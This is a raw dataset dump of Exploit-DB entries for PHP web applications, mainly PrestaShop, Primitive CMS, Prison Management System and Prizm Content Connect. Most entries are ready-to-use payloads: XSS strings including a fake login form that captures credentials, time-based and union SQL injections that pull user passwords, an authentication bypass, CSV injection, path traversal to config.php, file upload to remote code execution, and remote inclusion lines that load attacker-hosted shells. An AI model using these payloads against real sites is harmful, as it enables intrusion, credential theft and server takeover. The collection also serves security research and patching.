deardaniel/secdata-raw huggingface dataset:
Exploit-DB #36341
Description: PrestaShop 1.4.4.1 mondialrelay (kit_mondialrelay) - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-11-23
Author: Prestashop

Exploit:
source: https://www.securityfocus.com/bid/50784/info

PrestaShop is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PrestaShop 1.4.4.1 is vulnerable; other versions may also be affected. 

GET: http://<app_base>/modules/mondialrelay/kit_mondialrelay/RechercheDetailPointRelais_ajax.php
POST: num_mode=<script>alert(&#039;XSS&#039;)</script>
Exploit-DB #37684
Description: PrestaShop 1.4.7 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-08-29
Author: High-Tech Bridge

Exploit:
source: https://www.securityfocus.com/bid/55280/info

PrestaShop is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

<form action="http://[host]/[ADMIN_PANEL]/ajax.php" method="post"> <input type="hidden" name="ajaxProductsPositions" value='' /> <input type="hidden" name="id_product" value='1' /> <input type="hidden" name="id_category" value='1' /> <input type="hidden" name='product[<form action="/[ADMIN_PANEL]/login.php" method="post"><input type="text" id="email" name="email" value="" class="input"/><input id="passwd" type="password" name="passwd" class="input" value=""/></form><script>function hackfunc() { alert("Your Login: "+document.getElementById("email").value+"\nYour Password: "+document.getElementById("passwd").value); } setTimeout("hackfunc()", 1000);</script>]' value='1_1_1' /> <input type="submit" id="btn"> </form>
Exploit-DB #22430
Description: PrestaShop 1.5.1 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-11-02
Author: David Sopas

Exploit:
PrestaShop <= 1.5.1 Persistent XSS

Tested under: Firefox, Chrome and Safari latest versions
Discover Credits: David Sopas - davidsopas@gmail.com | @dsopas |
davidsopas.com/labs
Original link: http://davidsopas.com/labs/prestashop_xss.txt

Description:
PrestaShop is the most reliable and flexible Open-source e-commerce
software. Since 2007,
PrestaShop has revolutionized the industry by providing features that
engage shoppers and
increase online sales. The Prestateam consists of over 100 passionate
individuals and more
than 350,000 community members dedicated to innovated technology.
It has more than 2.000.000 downloads and won the best open-source
e-commerce software in
the last few years.

When installing and analyzing PrestaShop on a secure environment I
discovered that it's
possible to bypass isCleanHtml() function, used in many places, in
this case in particular
the Contact Form.
A user could use this vulnerability, a Persistent Cross-site
Scripting, to execute malicious
 payloads on admins message box.

Proof of concept:
In the message field a user could write:
<object data='data:text/html;base64,PHNjcmlwdD5hbGVydCgid2Vic2VndXJhLm5ldC14c3MiKTwvc2NyaXB0
Pg=='></object>

or

<embed src='data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc
3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9y
Zy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0
ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIndlYnNlZ3VyYS5uZXQgeHNzIik7PC9zY3
JpcHQ+PC9zdmc+' type='image/svg+xml' AllowScriptAccess='always'></embed>

Both Base64 strings are mainly <script>alert()</script> encoded.

Those XSS vectors bypass the filter on isCleanHtml() and execute
automatically when the admin
check the messages on the admin area. This is critical and could be
used to implement very
bad scenarios.

Keep in mind that on some webmail variations, the code is also
executed. A user can even play
with heading <h1> and other HTML on message box.

<a href="#" target="_blank"><img
src="http://www.prestashop.com/images/logo.png" width="800px"
 height="600px" border="0" /></a>

or

<a href="#" target="_blank" style="font-size: 30px">Click here</a>

Again, encoding with Base64 could also obfuscate a little bit.

I think that in this case in particular, HTML should be stripped out
because it has no meaning
in my opinion on the contact form.

Solution: Vendor reported that upgrading PrestaShop to version 1.5.2
will fix admins message
box bug.
HTML on email accounts still a possibility in the latest version.
According to the vendor,
it will be fixed on the next version.

References:
http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
http://ha.ckers.org/
http://forge.prestashop.com/browse/PSCFV-5204


--

David Sopas
davidsopas@gmail.com # @dsopas
Exploit-DB #49410
Description: Prestashop 1.7.7.0 - 'id_product' Time Based Blind SQL Injection
Type: webapps
Platform: php
Date: 2021-01-11
Author: Jaimin Gondaliya

Exploit:
# Exploit Title: Prestashop 1.7.7.0 - 'id_product' Time Based Blind SQL Injection
# Date: 08-01-2021
# Exploit Author: Jaimin Gondaliya
# Vendor Homepage: https://www.prestashop.com
# Software Link: https://www.prestashop.com/en/download
# Version: Prestashop CMS - 1.7.7.0
# Tested on: Windows 10

Parameter: id_product

Payload: 1 AND (SELECT 3875 FROM (SELECT(SLEEP(5)))xoOt)

Exploit:
http://localhost/shop//index.php?fc=module&module=productcomments&controller=CommentGrade&id_products[]=1%20AND%20(SELECT%203875%20FROM%20(SELECT(SLEEP(5)))xoOt)
Exploit-DB #51463
Description: Prestashop 8.0.4 - CSV injection
Type: webapps
Platform: php
Date: 2023-05-23
Author: Mirabbas Ağalarov

Exploit:
Exploit Title: Prestashop 8.0.4 - CSV injection
Application: prestashop
Version: 8.0.4
Bugs:  CSV Injection
Technology: PHP
Vendor URL: https://prestashop.com/
Software Link: https://prestashop.com/prestashop-edition-basic/
Date of found: 14.05.2023
Author: Mirabbas Ağalarov
Tested on: Windows


2. Technical Details & POC
========================================
Step 1. login as user
step 2. Go to My Account then information ( http://localhost/index.php?controller=identity )
step 3. Set Email as  =calc|a!z|@test.com
step 3. If admin Export costumers as CSV  file ,in The computer of admin  occurs csv injection and will open calculator (http://localhost/admin07637b2omxxdbmhikgb/index.php/sell/customers/?_token=mtc1BTvq-Oab2lBdfCaxpOorYraGGVMiTFluJzOpkWI)

payload: =calc|a!z|@test.com
Exploit-DB #49267
Description: PrestaShop ProductComments 4.2.0 - 'id_products' Time Based Blind SQL Injection
Type: webapps
Platform: php
Date: 2020-12-16
Author: Frederic ADAM

Exploit:
​# Exploit Title: PrestaShop ProductComments 4.2.0 - 'id_products' Time Based Blind SQL Injection
# Date: 2020-12-15
# Exploit Author: Frederic ADAM
# Author contact: contact@fadam.eu
# Vendor Homepage: https://www.prestashop.com
# Software Link: https://github.com/PrestaShop/productcomments
# Version: 4.2.0
# Tested on: Debian 10
# CVE : CVE-2020-26248

http://localhost/index.php?fc=module&module=productcomments&controller=CommentGrade&id_products%5B%5D=[SQL]

Example:
http://localhost/index.php?fc=module&module=productcomments&controller=CommentGrade&id_products%5B%5D=(select*from(select(sleep(2)))a)
Exploit-DB #51545
Description: PrestaShop Winbiz Payment module - Improper Limitation of a Pathname to a Restricted Directory
Type: webapps
Platform: php
Date: 2023-06-26
Author: Amirhossein Bahramizadeh

Exploit:
# Exploit Title: PrestaShop Winbiz Payment module - Improper Limitation of a Pathname to a Restricted Directory
# Date: 2023-06-20
# Dork: /modules/winbizpayment/downloads/download.php
# country: Iran
# Exploit Author: Amirhossein Bahramizadeh
# Category : webapps
# Vendor Homepage: https://shop.webbax.ch/modules-pour-winbiz/153-module-prestashop-winbiz-payment-reverse.html
# Version: 17.1.3 (REQUIRED)
# Tested on: Windows/Linux
# CVE : CVE-2023-30198

import requests
import string
import random

# The base URL of the vulnerable site
base_url = "http://example.com"

# The URL of the login page
login_url = base_url + "/authentication.php"

# The username and password for the admin account
username = "admin"
[CREDENTIAL_REDACTED]"

# The URL of the vulnerable download.php file
download_url = base_url + "/modules/winbizpayment/downloads/download.php"

# The ID of the order to download
order_id = 1234

# The path to save the downloaded file
file_path = "/tmp/order_%d.pdf" % order_id

# The session cookies to use for the requests
session_cookies = None

# Generate a random string for the CSRF token
csrf_token = ''.join(random.choices(string.ascii_uppercase + string.digits, k=32))

# Send a POST request to the login page to authenticate as the admin user
login_data = {"email": username, "passwd": password, "csrf_token": csrf_token}
session = requests.Session()
response = session.post(login_url, data=login_data)

# Save the session cookies for future requests
session_cookies = session.cookies.get_dict()

# Generate a random string for the CSRF token
csrf_token = ''.join(random.choices(string.ascii_uppercase + string.digits, k=32))

# Send a POST request to the download.php file to download the order PDF
download_data = {"id_order": order_id, "csrf_token": csrf_token}
response = session.post(download_url, cookies=session_cookies, data=download_data)

# Save the downloaded file to disk
with open(file_path, "wb") as f:
    f.write(response.content)

# Print a message indicating that the file has been downloaded
print("File downloaded to %s" % file_path)
Exploit-DB #15064
Description: primitive CMS 1.0.9 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-09-20
Author: Stephan Sattler

Exploit:
# Exploit Title: Primitive CMS 1.0.9 Multiple Vulnerabilities
# Date: 20.09.2010
# Author: Stephan Sattler // Solidmedia.de
# Software Website: http://www.bouzouste.info/
# Software Link: http://www.bouzouste.info/link/click.php?id=1
# Version: 1.0.9


[Vulnerability 1]

# Unauthorized Access

Url: http://[site]/[cmspath]/cms_write.php

In cms_write.php is no check if the user has administration rights.
Because of that, there are 2 more vulnerabilities.



[Vulnerability 2]

# Html Injection

Url: http://[site]/[cmspath]/cms_write.php

Vulnerable Code (cms_write.php line 13-25): 

$title=$_POST[title];
$content=$_POST[content];
$menutitle=$_POST[menutitle];
$sql="INSERT INTO `prim_page` ( `id` , `title` , `content`, `menutitle` ) VALUES ('', '$title', '$content', '$menutitle')";
mysql_query($sql);


The title, Menu-title  and Content a user can submit are inserted directly into
the database and inserted in the html-code on the page without
and sanitizing at all.

Example for the Title: </title><h1>Testtitle</h1>
Example for the Menu-Title: </a><h2>Menutitle</h2>


[Vulnerability 3]

# Blind SQL-Injection // PoC

Url: http://[site]/[cmspath]/cms_write.php

Vulnerable Code (cms_write.php line 13-16):

$title=$_POST[title];
$menutitle=$_POST[menutitle];
$sqlcheck="SELECT * FROM prim_page WHERE title='$title' or menutitle='$menutitle' ";

Postdata for Injection: title=&menutitle=home' AND (SELECT 1)='1&content=&submit=OK
One can inject via title or menutitle, both are vulnerable. On success, you'll see the message: "H selida yparxei"
Exploit-DB #27025
Description: Primo Place Primo Cart 1.0 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-01-03
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/16125/info

Primo Cart is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Version 1.0 and prior are affected; other versions may also be vulnerable. 

http://www.example.com/user.php?email=[SQL]&action=send-password-now
http://www.example.com/search.php?action=search&q=[SQL]
Exploit-DB #28264
Description: Prince Clan Chess Club 0.8 - 'Include.PCchess.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-24
Author: OLiBekaS

Exploit:
source: https://www.securityfocus.com/bid/19138/info

Prince Clan Chess Club for Mambo is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.

http://www.example.com/[target]/[path]/components/com_pcchess/include.pcchess.php?mosConfig_absolute_path=http://[attacker]/cmd.txt?&cmd=ls
Exploit-DB #31164
Description: Prince Clan Chess Club 0.8 com_pcchess Component - 'user_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-12
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27761/info

The Chess Club 'com_pcchess' component for Joomla! and Mambo is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_pcchess&Itemid=S@BUN&page=players&user_id=-9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/*
Exploit-DB #49877
Description: Printable Staff ID Card Creator System 1.0 - 'email' SQL Injection
Type: webapps
Platform: php
Date: 2021-05-17
Author: bwnz

Exploit:
# Exploit Title: Printable Staff ID Card Creator System 1.0 - SQLi & RCE via Arbitrary File Upload
# Date: 2021-05-16
# Exploit Author : bwnz
# Software Link: https://www.sourcecodester.com/php/12802/php-staff-id-card-creation-and-printing-system.html
# Version: 1.0
# Tested on: Ubuntu 20.04.2 LTS

# Printable Staff ID Card Creator System is vulnerable to an unauthenticated SQL Injection attack.
# After compromising the database via SQLi, an attacker can log in and leverage an arbitrary file upload
# vulnerability to obtain remote code execution.


-----SQL Injection-----
Step 1.) Navigate to the login page and populate the email and password fields.
Step 2.) With Burp Suite running, send and capture the request.
Step 3.) Within Burp Suite, right click and "Save item" in preparation for putting the request through SQLMap.
Step 4.) Open a terminal and run the following command:
	sqlmap -r <saved item>

Below are the SQLMap results

Parameter: user_email (POST)
   	 Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: user_email=test@test.com' RLIKE (SELECT (CASE WHEN (9007=9007) THEN 0x[PII_REDACTED]746573742e636f6d ELSE 0x28 END))-- JaaE&password=`&login_button=

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: user_email=test@test.com' AND (SELECT 7267 FROM(SELECT COUNT(*),CONCAT(0x[PII_REDACTED],(SELECT (ELT(7267=7267,1))),0x7162716a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- pCej&password=`&login_button=

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: user_email=test@test.com' AND (SELECT 2884 FROM (SELECT(SLEEP(5)))KezZ)-- bBqz&password=`&login_button=
----- END -----


----- Authenticated RCE via Arbitrary File Upload -----
# For this attack,  it is assumed that you've obtained credentials via the SQL Injection attack above and have logged in.

Step 1.) After logging in, click the "Initialization" option and "Add System Info".
Step 2.) Populate the blank form with arbitrary data. At the bottom of the form, there is an option to upload a logo. Upload your evil.php file here and click "Finish".
Step 3.) By default, the file is uploaded to http://<IP>/Staff_registration/media/evil.php. Navigate to it for RCE.
----- END ------
Exploit-DB #52017
Description: Prison Management System - SQL Injection Authentication Bypass
Type: webapps
Platform: php
Date: 2024-05-13
Author: Sanjay Singh

Exploit:
# Exploit : Prison Management System Using PHP -SQL Injection Authentication Bypass
# Date: 15/03/2024
# Exploit Author: Sanjay Singh
# Vendor Homepage: https://www.sourcecodester.com
# Software Link:https://www.sourcecodester.com/sql/17287/prison-management-system.html
# Tested on: Windows ,XAMPP
# CVE : CVE-2024-33288


# Proof of Concept:
Step 1-Visit http://localhost/prison/
Step 2 - Click on Admin Dashboard button and redirect on login page.
Step 3– Enter username as admin' or '1'='1 and password as 123456
Step 4 – Click sing In and now you will be logged in as admin.
Exploit-DB #6639
Description: Pritlog 0.4 - 'Filename' Remote File Disclosure
Type: webapps
Platform: php
Date: 2008-09-30
Author: Pepelux

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Printlog <= 0.4: Remote File Edition Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

$ Program: Printlog
$ File affected: index.php
$ Version: 0.4
$ Download: http://www.hardkap.net/pritlog


Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org

-- Description (by the author's page) --
PRITLOG is an extremely simple, small and powerful blog system. It does not 
use or need a MYSQL database and fully works based on flat files. The idea 
is derived from a similar app called PPLOG.

-- Bug --
You can navigate and see the entries. Something like as:
  http://localhost/p/index.php?option=viewEntry&filename=00001

Code doesn't check the comments directory:

709.  function viewEntry() {
710.	$fileName   = isset($_POST['filename'])?$_POST['filename']:$_GET['filename'];
711.	global $postdir, $separator, $newPostFile, $newFullPostNumber, $debugMode, $config_textAreaCols, $config_textAreaRows;
712.	global $config_allowComments, $config_commentsSecurityCode, $config_CAPTCHALength, $config_randomString;
713.	global $commentdir,$config_dbFilesExtension, $config_onlyNumbersOnCAPTCHA;
714.	$viewFileName=$postdir.$fileName.$config_dbFilesExtension;


-- Exploit --
If magic quotes are off you can do:
  http://localhost/p/index.php?option=viewEntry&filename=../config.php%00

config.php has the admin password

# milw0rm.com [2008-09-30]
Exploit-DB #44662
Description: Private Message PHP Script 2.0 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-05-21
Author: L0RD

Exploit:
# Exploit Title:  Private Message PHP Script 2.0 - Persistent Cross-Site scripting
# Date: 2018-05-20
# Exploit Author: Borna nematzadeh (L0RD)
# Vendor Homepage: https://codecanyon.net/item/private-message-php-script/21027192?s_rank=1
# Version: 2.0
# Tested on: Windows

# Description :
Private Message PHP Script 2.0 suffers from persistent cross site scripting.
You can put your malicious javascript payload .
When target opens your massege ,  payload will be executed before self destruction .

# POC :
1) Put this payload into textarea and click submit :
</textarea><script>alert(document.cookie)</script>

2) You will get a link which your javascript code is inside this link . You can send this link to anyone .
3) After clicking on "show me the message" , payload will be executed .
Exploit-DB #23486
Description: Private Message System 2.x - 'index.php?Page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-12-27
Author: David S. Ferreira

Exploit:
source: https://www.securityfocus.com/bid/9308/info

Private Message System is prone to a cross-site scripting vulnerability. This issue may be exploited by creating a malicious link to a site hosting the software with hostile HTML and script code embedded in URI parameters. If the link is followed, the attacker-supplied code may be rendered in the victim user's browser.

Possible consequences of exploitation include theft of cookie-based authentication credentials or using the issue as an attack vector to exploit latent web browser security flaws.

http://www.example.com/index.php?page=%22%3E%3Cscript%3Ealert(document.domain);%3C/script%3E
Exploit-DB #38377
Description: Privoxy Proxy - Authentication Information Disclosure
Type: webapps
Platform: php
Date: 2013-03-11
Author: Chris John Riley

Exploit:
source: https://www.securityfocus.com/bid/58425/info

Privoxy is prone to multiple information-disclosure vulnerabilities.

Attackers can exploit these issues to gain access to the user accounts and potentially obtain sensitive information. This may aid in further attacks.

Privoxy 3.0.20 is affected; other versions may also be vulnerable. 

Response Code (current).: 407

Response Headers (as seen by your browser).:

HTTP/1.1 407 Proxy Authentication Required
Date: Mon, 11 Mar 2013 17:01:59 GMT
Server: ./msfcli auxiliary/server/capture/http set SRVPORT=80
Proxy-Authenticate: Basic
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 571
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

Request Headers (as seen by the remote website)

Host: c22.cc
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.example.com/
Connection: keep-alive
Exploit-DB #38204
Description: Prizm Content Connect - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2013-01-09
Author: Include Security Research

Exploit:
source: https://www.securityfocus.com/bid/57242/info

Prizm Content Connect is prone to an arbitrary file-upload vulnerability because it fails to adequately validate files before uploading them.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in an arbitrary code execution within the context of the vulnerable application.

Prizm Content Connect 5.1 is vulnerable; other versions may also be affected. 

Proof of concept

First, the attacker causes the Prizm Content Connect software to download
the malicious ASPX file:

http://www.example.com/default.aspx?document=http://attacker.example.org/aspxshell.aspx

The resulting page discloses the filename to which the ASPX file was
downloaded, e.g.:

Document Location: C:\Project\

Full Document Path: C:\Project\ajwyfw45itxwys45fgzomrmv.aspx

Temp Location: C:\tempcache\

The attacker then requests the ASPX shell from the root of the website:

http://www.example.com/ajwyfw45itxwys45fgzomrmv.aspx
Exploit-DB #51185
Description: Prizm Content Connect v10.5.1030.8315 - XXE
Type: webapps
Platform: php
Date: 2023-04-01
Author: xhzeem

Exploit:
# Exploit Title: Prizm Content Connect v10.5.1030.8315 - XXE
# Date: 21/12/2022
# Exploit Author: @xhzeem
# Vendor Homepage:
https://help.accusoft.com/PCC/v9.0/HTML/About%20Prizm%20Content%20Connect.html
# Version: v10.5.1030.8315

The Prizm Content Connect v10.5.1030.8315 is vulnerable to XXE

Proof Of Concept:

http://www.example.com/default.aspx?document=file.xml

The file.xml can have an OoB XXE payload or any other blind XXE exploit.